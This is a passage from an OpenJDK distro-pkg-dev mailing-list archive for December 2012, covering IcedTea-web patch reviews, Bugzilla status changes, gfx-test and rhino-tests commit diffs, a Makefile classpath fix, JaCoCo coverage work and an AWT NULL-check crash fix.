http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=141cb4463629 author: Saad Mohammad date: Wed Dec 05 12:29:24 2012 -0500 PR1217: Add command line arguments for plugins -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/0bf21dfc/attachment.html From smohammad at redhat.com Wed Dec 5 10:26:45 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Wed, 05 Dec 2012 13:26:45 -0500 Subject: [RFC][icedtea-web]: Set plugin JVM options in itw-settings In-Reply-To: <50BF59A0.1030500@redhat.com> References: <508ED961.4070705@redhat.com> <509130B7.8090508@redhat.com> <50AD1CC6.2060103@redhat.com> <50AD442B.1050903@redhat.com> <50BD206B.8020209@redhat.com> <50BE4E34.6000201@redhat.com> <50BE6A33.5010909@redhat.com> <50BF59A0.1030500@redhat.com> Message-ID: <50BF91E5.8080500@redhat.com> On 12/05/2012 09:26 AM, Adam Domurad wrote: > On 12/04/2012 04:25 PM, Saad Mohammad wrote: >> Hi Adam, >> >> Thanks for all the tips and tricks around C++. Updated patch is attached! >> I'm starting to enjoy C++ as things start working more correctly now. :) > > Good to hear :) > >> [..snip..] >> + } >> + >> + tokenOutput = IcedTeaPluginUtilities::strSplit(output, " \n"); >> + >> + if (!tokenOutput->empty() && *tokenOutput->at(0) =="null") >> + { >> + delete tokenOutput->at(0); >> + tokenOutput->erase(tokenOutput->begin()); >> + } > > A comment here about why you're deleting this token would be nice. > > Otherwise, I have no further torture to inflict on you :) Looks good to me now. > If you have tested it to your satisfaction, OK for HEAD. > > Thanks, > -Adam > > Thanks again for all the feedback! Pushed: -- Cheers, Saad Mohammad From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 10:28:57 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 18:28:57 +0000 Subject: [Bug 1217] Add command line arguments for plugins In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1217 Saad Mohammad changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution|--- |FIXED -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/c62910b2/attachment.html From bugzilla-daemon at icedtea.classpath.org Wed Dec 5 14:32:35 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Wed, 05 Dec 2012 22:32:35 +0000 Subject: [Bug 1233] java.net.Inet4AddressImpl.getLocalHostName() causes SIGBUS error In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1233 Andrew John Hughes changed: What |Removed |Added ---------------------------------------------------------------------------- Attachment #804|application/octet-stream |text/plain mime type| | -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121205/13b838ce/attachment.html From ptisnovs at icedtea.classpath.org Thu Dec 6 01:55:46 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 06 Dec 2012 09:55:46 +0000 Subject: /hg/gfx-test: Added new test src/org/gfxtest/testsuites/BitBltUs... Message-ID: changeset 33be8ac9a2d3 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=33be8ac9a2d3 author: Pavel Tisnovsky date: Thu Dec 06 10:58:47 2012 +0100 Added new test src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java. Added new class to compile and new test to run into Makefile. diffstat: ChangeLog | 7 + Makefile | 3 + src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java | 128 ++++++++++++++++ 3 files changed, 138 insertions(+), 0 deletions(-) diffs (173 lines): diff -r 7dfa0fae6a86 -r 33be8ac9a2d3 ChangeLog --- a/ChangeLog Wed Dec 05 10:31:21 2012 +0100 +++ b/ChangeLog Thu Dec 06 10:58:47 2012 +0100 @@ -1,3 +1,10 @@ +2012-12-06 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: + Added new test. + * Makefile: + Added new class to compile and new test to run. + 2012-12-05 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: diff -r 7dfa0fae6a86 -r 33be8ac9a2d3 Makefile --- a/Makefile Wed Dec 05 10:31:21 2012 +0100 +++ b/Makefile Thu Dec 06 10:58:47 2012 +0100 @@ -146,6 +146,7 @@ $(CLASSES)/$(TESTSUITE_DIR)/BitBltRotateImage.class \ $(CLASSES)/$(TESTSUITE_DIR)/BitBltScaleImage.class \ $(CLASSES)/$(TESTSUITE_DIR)/BitBltUsingBgColor.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltUsingBgColorAlpha.class \ $(CLASSES)/$(TESTSUITE_DIR)/ColorPaint.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalArcs.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalLines.class \ @@ -225,6 +226,7 @@ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestBitBltRotateImage.class \ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestBitBltScaleImage.class \ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestBitBltUsingBgColor.class \ + $(CLASSES)/$(TESTSUITE_DIR)/PrintTestBitBltUsingBgColorAlpha.class \ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestCircles.class \ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestEllipses.class \ $(CLASSES)/$(TESTSUITE_DIR)/PrintTestDrawText.class \ @@ -244,6 +246,7 @@ $(RESULTS)/BitBltRotateImage \ $(RESULTS)/BitBltScaleImage \ $(RESULTS)/BitBltUsingBgColor \ + $(RESULTS)/BitBltUsingBgColorAlpha \ $(RESULTS)/ColorPaint \ $(RESULTS)/NormalArcs \ $(RESULTS)/NormalLines \ diff -r 7dfa0fae6a86 -r 33be8ac9a2d3 src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Thu Dec 06 10:58:47 2012 +0100 @@ -0,0 +1,128 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import java.awt.Color; +import java.awt.Graphics2D; +import java.awt.image.BufferedImage; + + + +import org.gfxtest.framework.CommonBitmapOperations; +import org.gfxtest.framework.GfxTest; +import org.gfxtest.framework.TestImage; +import org.gfxtest.framework.TestResult; +import org.gfxtest.framework.annotations.BitBltOperation; +import org.gfxtest.framework.annotations.BitBltOperations; +import org.gfxtest.framework.annotations.GraphicsPrimitive; +import org.gfxtest.framework.annotations.GraphicsPrimitives; +import org.gfxtest.framework.annotations.RenderStyle; +import org.gfxtest.framework.annotations.RenderStyles; +import org.gfxtest.framework.annotations.TestType; +import org.gfxtest.framework.annotations.TestTypes; +import org.gfxtest.framework.annotations.Transformation; +import org.gfxtest.framework.annotations.Transformations; +import org.gfxtest.framework.annotations.Zoom; + + + +/** + * This test check the rendering of buffered images (so called bit block + * transfers or Bit Blt) created by various constructors. Such images are + * rendered with explicitly set background color with alpha channel which should + * affect transparent or semi-transparent images. + * + * @author Pavel Tisnovsky + */ + at TestType(TestTypes.RENDER_TEST) + at GraphicsPrimitive(GraphicsPrimitives.COMMON_BITMAP) + at RenderStyle(RenderStyles.NORMAL) + at BitBltOperation(BitBltOperations.BITBLT) + at Transformation(Transformations.NONE) + at Zoom(1) +public class BitBltUsingBgColorAlpha extends GfxTest +{ + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @param alpha + * alpha value for background + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageType3ByteRGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor, float alpha) + { + Color newColor = calculateTransparentColor(backgroundColor, alpha); + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_3BYTE_BGR, newColor); + } + + /** + * Calculate color with given alpha value. + * + * @param backgroundColor + * background color + * @param alpha + * alpha value for background + */ + private Color calculateTransparentColor(Color backgroundColor, float alpha) + { + final float red = backgroundColor.getRed(); + final float green = backgroundColor.getGreen(); + final float blue = backgroundColor.getBlue(); + return new Color(red, green, blue, alpha); + } + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltUsingBgColorAlpha().runTestSuite(args); + } +} From ptisnovs at icedtea.classpath.org Thu Dec 6 02:16:10 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 06 Dec 2012 10:16:10 +0000 Subject: /hg/rhino-tests: Added new code snippets into JavaScriptSnippets. Message-ID: changeset 78f32c582232 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=78f32c582232 author: Pavel Tisnovsky date: Thu Dec 06 11:19:13 2012 +0100 Added new code snippets into JavaScriptSnippets. Added new tests into JavaScriptsTest.java. diffstat: ChangeLog | 7 + src/org/RhinoTests/JavaScriptSnippets.java | 2 +- src/org/RhinoTests/JavaScriptsTest.java | 110 ++++++++++++++++++++++++++-- 3 files changed, 108 insertions(+), 11 deletions(-) diffs (209 lines): diff -r dea9193daa78 -r 78f32c582232 ChangeLog --- a/ChangeLog Wed Dec 05 10:49:56 2012 +0100 +++ b/ChangeLog Thu Dec 06 11:19:13 2012 +0100 @@ -1,3 +1,10 @@ +2012-12-06 Pavel Tisnovsky + + * src/org/RhinoTests/JavaScriptSnippets.java: + Added new code snippets. + * src/org/RhinoTests/JavaScriptsTest.java: + Added new tests. + 2012-12-05 Pavel Tisnovsky * Makefile: diff -r dea9193daa78 -r 78f32c582232 src/org/RhinoTests/JavaScriptSnippets.java --- a/src/org/RhinoTests/JavaScriptSnippets.java Wed Dec 05 10:49:56 2012 +0100 +++ b/src/org/RhinoTests/JavaScriptSnippets.java Thu Dec 06 11:19:13 2012 +0100 @@ -158,7 +158,7 @@ protected static final String STRING_EXPRESSION_2 = "'Hello' + ' ' + 'world'"; /** - * Classical hello world program. + * Classical hello world program. */ protected static final String HELLO_WORLD_1 = "println('\tHello world!')"; diff -r dea9193daa78 -r 78f32c582232 src/org/RhinoTests/JavaScriptsTest.java --- a/src/org/RhinoTests/JavaScriptsTest.java Wed Dec 05 10:49:56 2012 +0100 +++ b/src/org/RhinoTests/JavaScriptsTest.java Thu Dec 06 11:19:13 2012 +0100 @@ -170,7 +170,7 @@ * this exception is thrown when this test case failed. */ protected void testRunEmptyScriptStoredInString() throws ScriptException { - this.scriptEngine.eval(""); + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_1); } /** @@ -180,7 +180,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptStoredInString1() throws ScriptException { - this.scriptEngine.eval(" "); + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_2); } /** @@ -190,7 +190,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptStoredInString2() throws ScriptException { - this.scriptEngine.eval("\t"); + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_3); } /** @@ -200,7 +200,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptStoredInString3() throws ScriptException { - this.scriptEngine.eval(" \t "); + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_4); } /** @@ -210,7 +210,97 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptStoredInString4() throws ScriptException { - this.scriptEngine.eval("\t \t"); + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_5); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString5() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_6); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString6() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_7); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString7() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_8); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString8() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_9); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString9() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_10); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString10() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_11); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString11() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_12); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString12() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_13); + } + + /** + * Test script consisting only of tabs and space. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testRunAlmostEmptyScriptStoredInString13() throws ScriptException { + this.scriptEngine.eval(JavaScriptSnippets.EMPTY_SCRIPT_14); } /** @@ -247,7 +337,7 @@ * this exception is thrown when this test case failed. */ protected void testRunEmptyScriptFromReader() throws ScriptException { - StringReader stringReader = new StringReader(""); + StringReader stringReader = new StringReader(JavaScriptSnippets.EMPTY_SCRIPT_1); this.scriptEngine.eval(stringReader); } @@ -258,7 +348,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptFromReader1() throws ScriptException { - StringReader stringReader = new StringReader(" "); + StringReader stringReader = new StringReader(JavaScriptSnippets.EMPTY_SCRIPT_2); this.scriptEngine.eval(stringReader); } @@ -269,7 +359,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptFromReader2() throws ScriptException { - StringReader stringReader = new StringReader("\t"); + StringReader stringReader = new StringReader(JavaScriptSnippets.EMPTY_SCRIPT_3); this.scriptEngine.eval(stringReader); } @@ -280,7 +370,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptFromReader3() throws ScriptException { - StringReader stringReader = new StringReader(" \t "); + StringReader stringReader = new StringReader(JavaScriptSnippets.EMPTY_SCRIPT_4); this.scriptEngine.eval(stringReader); } @@ -291,7 +381,7 @@ * this exception is thrown when this test case failed. */ protected void testRunAlmostEmptyScriptFromReader4() throws ScriptException { - StringReader stringReader = new StringReader("\t \t"); + StringReader stringReader = new StringReader(JavaScriptSnippets.EMPTY_SCRIPT_5); this.scriptEngine.eval(stringReader); } From jvanek at redhat.com Thu Dec 6 02:31:42 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 06 Dec 2012 11:31:42 +0100 Subject: [fyi] [icedtea-web] new code coverage direction - jacoco In-Reply-To: <50BF6C77.4010507@redhat.com> References: <50B4FA0C.5030502@redhat.com> <50B64717.1040705@redhat.com> <50B71F68.10203@redhat.com> <50BF6C77.4010507@redhat.com> Message-ID: <50C0740E.4040305@redhat.com> On 12/05/2012 04:47 PM, Jiri Vanek wrote: > On 11/29/2012 09:40 AM, Jiri Vanek wrote: >> On 11/28/2012 06:17 PM, Jiri Vanek wrote: >>> On 11/27/2012 06:36 PM, Jiri Vanek wrote: >>>> hi all! >>>> >>>> Last few days I was hidding behind new codecoverage for icedtea-web. It have appeared to be more >>>> tricky then I thought: >>>> >>>> * Support for jdk7 on field of coverage tool is desperate - the only tool which support it and is >>>> alive (actually I really think it is the only one right now) is JACOCO. >>>> * jacoco packages in fedora are broken - I have fixed them and post patch to its maintainer >>>> * jacoco itself do not support coverage of boot-classapth, I have fixed this too, and I hope I will >>>> be able to upstream this patch - quite simple patch but it will need some more tuning (xboot.patch) >>>> [as I do not see to alll corners of this amazing tool] >>>> * jacoco although having excellent API, have no commandline tool for report generation and for >>>> merging of results. I have wrote my own (simple one, jacoco-tool.diff) and I hope I will be able to >>>> upstream it to rather then fill icedtea-web with it. >>>> >>>> So do not use this patch for now - it uses custom packages upon custom sources with custom >>>> dependences (Asm4 instead of asm3) :), but if all the fixes will go upstream then the results are >>>> amazing! >>>> >>>> The integration of patched package with patched sources is then quite simple and same as emma was. >>>> Coverage of unit tests, coverage of individual reproducers run, then merged all reproducers >>>> together >>>> and at the end merged all reproducers and unit test's results. >>>> On each sub-step xml and html report is generated. >>>> >>>> Good new is that it will be easy to cover also plugin [work in progress] >>>> >>>> Best regards >>>> J. >>>> >>>> >>>> ps: with litlle bit more tweaking on xbooth.patch I was able to create coverage report for most >>>> rt.jar itself on openjdk build:) >>>> >>> hmm.. sun.reflect.* must be excluded on jdk7 too... >>> >> >> Here is the example of yesterdays run: >> http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ >> >> not bad comapring to latrest emma run: >> http://10.34.2.200/icedtea-web-dailyreport/ICWDR_1343375169/tests.build/coverage/index.html >> >> :) > > Here is final version of my patch. Althoug my suggested changes are moving forward, untill it reach > packages can take an ages, so would like to push it if there will be good soul to review it. I will > attach the results of latest unit+javaws+plugin tests. > > I will track the jacoco changes and modify this patch how needed. > > > J. > Here is updated promissedexample - http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ . Worthy to walk through! Due to recent Saad's patch the plugin patch will need to be updated, but the logic will remains same. J. From jvanek at redhat.com Thu Dec 6 03:22:44 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 06 Dec 2012 12:22:44 +0100 Subject: AWT crasher patch to be back-ported by all distros In-Reply-To: <50BE06D4.1020308@redhat.com> References: <50BE06D4.1020308@redhat.com> Message-ID: <50C08004.4070709@redhat.com> On 12/04/2012 03:21 PM, Andrew Haley wrote: > This bug affects LibreOffice, crashes it on all known OpenJDKs, and is > committed upstream. It's worth patching IcedTea and all OpenJDK- > derived packages until the next JDK7 update, which may be some time. > > Andrew. > > > # HG changeset patch > # User aph > # Date 1354629728 0 > # Node ID ea20c9388d90fd9fda085c59ceae25ea9d686ec6 > # Parent 4aad3e6f68d2463f4fee63c93153394be6489c00 > 8004344: Fix a crash in ToolkitErrorHandler() in XlibWrapper.c > Summary: Code does not check for JNU_GetEnv returning NULL. > Reviewed-by: anthony > > diff -r 4aad3e6f68d2 -r ea20c9388d90 src/solaris/native/sun/xawt/XlibWrapper.c > --- a/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 17:17:45 2012 +0400 > +++ b/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 14:02:08 2012 +0000 > @@ -1260,13 +1260,15 @@ > > JavaVM* jvm = NULL; > static int ToolkitErrorHandler(Display * dpy, XErrorEvent * event) { > + JNIEnv * env; > if (jvm != NULL) { > - JNIEnv * env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > - return JNU_CallStaticMethodByName(env, NULL, "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > - ptr_to_jlong(dpy), ptr_to_jlong(event)).i; > - } else { > - return 0; > + env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > + if (env) { > + return JNU_CallStaticMethodByName(env, NULL, "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > + ptr_to_jlong(dpy), ptr_to_jlong(event)).i; > + } > } > + return 0; > } > > /* > Running build with it. If pavel will test I will forward to f17 and f18 http://koji.fedoraproject.org/koji/taskinfo?taskID=4762807 J From adomurad at redhat.com Thu Dec 6 06:51:58 2012 From: adomurad at redhat.com (Adam Domurad) Date: Thu, 06 Dec 2012 09:51:58 -0500 Subject: [rfc][icedtea-web] fix unit tests when installed dir != build dir Message-ID: <50C0B10E.7070105@redhat.com> 2012-12-06 Adam Domurad * Makefile.am: Fix unittest plugin classes locations to not rely on installed directory. -------------- next part -------------- A non-text attachment was scrubbed... Name: fix-unit-tests.patch Type: text/x-patch Size: 1290 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121206/a5c9a413/fix-unit-tests.patch From jvanek at redhat.com Thu Dec 6 06:56:37 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Thu, 06 Dec 2012 15:56:37 +0100 Subject: [rfc][icedtea-web] fix unit tests when installed dir != build dir In-Reply-To: <50C0B0F9.4050202@redhat.com> References: <50C0B0F9.4050202@redhat.com> Message-ID: <50C0B225.3030604@redhat.com> On 12/06/2012 03:51 PM, Adam Domurad wrote: > 2012-12-06 Adam Domurad > > * Makefile.am: Fix unittest plugin classes locations to not rely on > installed directory. looks like it fixed the issue. Thanx. Please mention affected targets in changelog. after the change, approved. J. From adomurad at icedtea.classpath.org Thu Dec 6 07:04:18 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Thu, 06 Dec 2012 15:04:18 +0000 Subject: /hg/icedtea-web: Fix unit-test targets to not rely on installed ... Message-ID: changeset dc00e6d5a2f9 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=dc00e6d5a2f9 author: Adam Domurad date: Thu Dec 06 10:04:06 2012 -0500 Fix unit-test targets to not rely on installed directory diffstat: ChangeLog | 5 +++++ Makefile.am | 4 ++-- 2 files changed, 7 insertions(+), 2 deletions(-) diffs (33 lines): diff -r 141cb4463629 -r dc00e6d5a2f9 ChangeLog --- a/ChangeLog Wed Dec 05 12:29:24 2012 -0500 +++ b/ChangeLog Thu Dec 06 10:04:06 2012 -0500 @@ -1,3 +1,8 @@ +2012-12-06 Adam Domurad + + * Makefile.am: Fix targets stamps/netx-unit-tests-compile.stamp and + stamps/run-netx-unit-tests.stamp to not rely on installed directory. + 2012-12-05 Saad Mohammad Added new option in itw-settings which allows users to set JVM diff -r 141cb4463629 -r dc00e6d5a2f9 Makefile.am --- a/Makefile.am Wed Dec 05 12:29:24 2012 -0500 +++ b/Makefile.am Thu Dec 06 10:04:06 2012 -0500 @@ -969,7 +969,7 @@ mkdir -p $(NETX_UNIT_TEST_DIR) && \ $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ -d $(NETX_UNIT_TEST_DIR) \ - -classpath $(JUNIT_JAR):$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) \ + -classpath $(JUNIT_JAR):$(abs_top_builddir)/liveconnect/lib/classes.jar:$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) \ @netx-unit-tests-source-files.txt && \ mkdir -p stamps && \ touch $@ @@ -999,7 +999,7 @@ done ; \ cd $(NETX_UNIT_TEST_DIR) ; \ class_names=`cat $(UNIT_CLASS_NAMES)` ; \ - CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(abs_top_builddir)/liveconnect/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names if WITH_XSLTPROC $(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html From gnu.andrew at redhat.com Thu Dec 6 07:35:22 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Thu, 6 Dec 2012 10:35:22 -0500 (EST) Subject: AWT crasher patch to be back-ported by all distros In-Reply-To: <50BE06D4.1020308@redhat.com> Message-ID: <796129655.11610496.1354808122857.JavaMail.root@redhat.com> ----- Original Message ----- > This bug affects LibreOffice, crashes it on all known OpenJDKs, and > is > committed upstream. It's worth patching IcedTea and all OpenJDK- > derived packages until the next JDK7 update, which may be some time. > I only see an upstream commit to the awt tree. Have you proposed it to 7u? > Andrew. > > > # HG changeset patch > # User aph > # Date 1354629728 0 > # Node ID ea20c9388d90fd9fda085c59ceae25ea9d686ec6 > # Parent 4aad3e6f68d2463f4fee63c93153394be6489c00 > 8004344: Fix a crash in ToolkitErrorHandler() in XlibWrapper.c > Summary: Code does not check for JNU_GetEnv returning NULL. > Reviewed-by: anthony > > diff -r 4aad3e6f68d2 -r ea20c9388d90 > src/solaris/native/sun/xawt/XlibWrapper.c > --- a/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 17:17:45 > 2012 +0400 > +++ b/src/solaris/native/sun/xawt/XlibWrapper.c Tue Dec 04 14:02:08 > 2012 +0000 > @@ -1260,13 +1260,15 @@ > > JavaVM* jvm = NULL; > static int ToolkitErrorHandler(Display * dpy, XErrorEvent * event) { > + JNIEnv * env; > if (jvm != NULL) { > - JNIEnv * env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > - return JNU_CallStaticMethodByName(env, NULL, > "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > - ptr_to_jlong(dpy), > ptr_to_jlong(event)).i; > - } else { > - return 0; > + env = (JNIEnv *)JNU_GetEnv(jvm, JNI_VERSION_1_2); > + if (env) { > + return JNU_CallStaticMethodByName(env, NULL, > "sun/awt/X11/XToolkit", "globalErrorHandler", "(JJ)I", > + ptr_to_jlong(dpy), > ptr_to_jlong(event)).i; > + } > } > + return 0; > } > > /* > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From adomurad at redhat.com Thu Dec 6 06:51:37 2012 From: adomurad at redhat.com (Adam Domurad) Date: Thu, 06 Dec 2012 09:51:37 -0500 Subject: [rfc][icedtea-web] fix unit tests when installed dir != build dir Message-ID: <50C0B0F9.4050202@redhat.com> 2012-12-06 Adam Domurad * Makefile.am: Fix unittest plugin classes locations to not rely on installed directory. -------------- next part -------------- A non-text attachment was scrubbed... Name: fix-unit-tests.patch Type: text/x-patch Size: 1290 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121206/43b63eb2/fix-unit-tests.patch From ptisnovs at icedtea.classpath.org Fri Dec 7 03:07:16 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 07 Dec 2012 11:07:16 +0000 Subject: /hg/gfx-test: Added stubs for six new tests: src/org/gfxtest/tes... Message-ID: changeset e0d051839cb1 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=e0d051839cb1 author: Pavel Tisnovsky date: Fri Dec 07 12:10:17 2012 +0100 Added stubs for six new tests: src/org/gfxtest/testsuites/BitBltAffineTransformOp.java, src/org/gfxtest/testsuites/BitBltColorConvertOp.java, src/org/gfxtest/testsuites/BitBltConvolveOp.java, src/org/gfxtest/testsuites/BitBltCustomOp.java, src/org/gfxtest/testsuites/BitBltLookupOp.java, src/org/gfxtest/testsuites/BitBltRescaleOp.java. Added new class to compile and new test to run into Makefile. diffstat: ChangeLog | 12 +++ Makefile | 12 +++ src/org/gfxtest/testsuites/BitBltAffineTransformOp.java | 58 +++++++++++++++++ src/org/gfxtest/testsuites/BitBltColorConvertOp.java | 58 +++++++++++++++++ src/org/gfxtest/testsuites/BitBltConvolveOp.java | 58 +++++++++++++++++ src/org/gfxtest/testsuites/BitBltCustomOp.java | 58 +++++++++++++++++ src/org/gfxtest/testsuites/BitBltLookupOp.java | 58 